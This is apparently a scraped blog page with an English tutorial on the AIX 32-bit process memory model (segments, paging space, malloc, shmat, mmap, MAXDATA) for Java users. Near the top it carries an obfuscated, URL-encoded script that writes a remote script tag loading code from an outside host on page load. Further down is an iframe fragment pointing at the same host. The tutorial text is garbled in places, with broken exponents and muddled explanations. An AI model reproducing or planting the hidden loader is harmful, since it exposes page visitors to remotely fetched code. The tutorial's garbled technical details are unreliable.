Memory space manipulating in Java(Section two:Process Memory Model on AIX part on

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Memory space manipulating in Java(Section two:Process Memory Model on AIX part on


ies)



  I will focus on how 32-bit application allocates its heap in AIX. As to 64-bit application, there will be no need to juggle with the limited number of segments any more as the 64-bit user process can address up to 1 EB (exabytes:

2
60
).
 
Understand the following content seems have no relation to Java, not exactly as that your running Java application is a process which in fact is
most likely written in some native language like C,C++. Just like other AIX processes, it uses program stack and static data, and possibly shared memory to do inter-process communication (IPC) or map files. Though many problems associate with memory have been hidden, it’s better for you to understand it to either optimize you application or resolve problem.
 
 
1.
Terminologies uses in the following sections.
 
Firstly, we are going to see several basic terminologies, which are list below:
1)
     
Virtual Memory (VM)
: a way to make your physical memory looks more than it really has from view of applications. This is a common sense in most of the Operating System, it provide an virtual addressable space which may depend on hardware to any Application running on the Operating System. AIX divides virtual address space of a process into 16 independent segments, each is a 256 MB chunk and again segment is partitioned into fixed-size units called pages, with a size of 4KB currently being very common.
(
In fact, as to 32-bit virtual address space, would in form of 0x0FFFFFFF, is called as Effective Address, the finally formed virtual address should be a 52-bit length address that consists of following parts:
24-bit prefix which is a segment identifier contained in segment 0
28-bit offset within segment (FFFFFFF in this sample)
)
Additional: VM Segments can be classified into either work segments or persistent segments, what is the difference between the two?
l
        
The pages of a persistent segment have permanent storage locations on disk. Files containing data (your log file will be a good sample) or executable programs (like your compiled C/C++, Assembling code) are mapped to persistent segments. Since each page of a persistent segment has a permanent disk storage location, the VMM writes the page back to that location when the page has been changed and can no longer be kept in real memory. If the page has not changed, its frame is simply reassigned to the free list. If the page is referenced again later, a new copy is read in from its permanent disk-storage location.
l
        
Working segments are transitory, exist only during their use by a process, and have no permanent disk-storage location. Process stack and data regions are mapped to working segments, as are the kernel text segment, the kernel-extension text segments and the shared-library text and data segments. Pages of working segments must also have disk-storage locations to occupy when they cannot be kept in real memory. The disk paging space is used for this purpose.
To understand the difference is a little difficult, here you should at least know that they are different from each other.
 
2)
     
Paging Space
: sometimes known as Swap Space, is a space taken out of hard disk and used by Virtual Memory Manager (VMM) as a second memory. When memory allocation request was sent by a process and you physical memory is full, paging out will happen and those pages can be moved out of physical memory (judged by VMM) will be kept in Paging Space. Notice that this is the normal case, pages that contain static data would not have a location in Paging Space as they have fixed location in hard disk.
Following picture show you relationship between Virtual Address Space provided by VM, Physical Memory (Primary Storage), Secondary Storage (Paging Space)
.
 
3)
     
malloc()
: The malloc (memory allocation) function is used to dynamically allocate memory at run time.
4)
     
shmat()
: The shmat() function attaches the shared memory segment associated with the shared memory identifier specified by an shmid to the address space of the calling process. If an address is
not
specified in shmat() call, the segment is attached at the first available address as selected by the system.
5)
     
mmap()
:The mmap() function establishes a mapping between a process' address space and a file or shared memory object.
6)
     
Bit
: refers to a digit in the binary numeral system, can by definition store only 0/1.
7)
     
Byte
: A byte is a collection of bits (now almost always eight bits), can represent 256 values (28 values, 0–255). A byte is commonly used as a unit of storage measurement in computers, then it would come to a result of giving a value to the collection, it was defined as 2
8
= 256, so you should remember that when use for measuring a byte will be seen as 256.
8)
     
MAXDATA
: In The Large Address-Space Model, the number of segments to be moved from shared memory to program data is specified by giving a value to "maxdata". Also it can be seen as a boundary uses to fence to which segment the program heap can be allocated. Sometime we will use a keyword of
o_maxdata
to represent the same meaning with
MAXDATA
, in articles of this series, the term
o_maxdata
is used interchangeably with
MAXDATA
here.
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值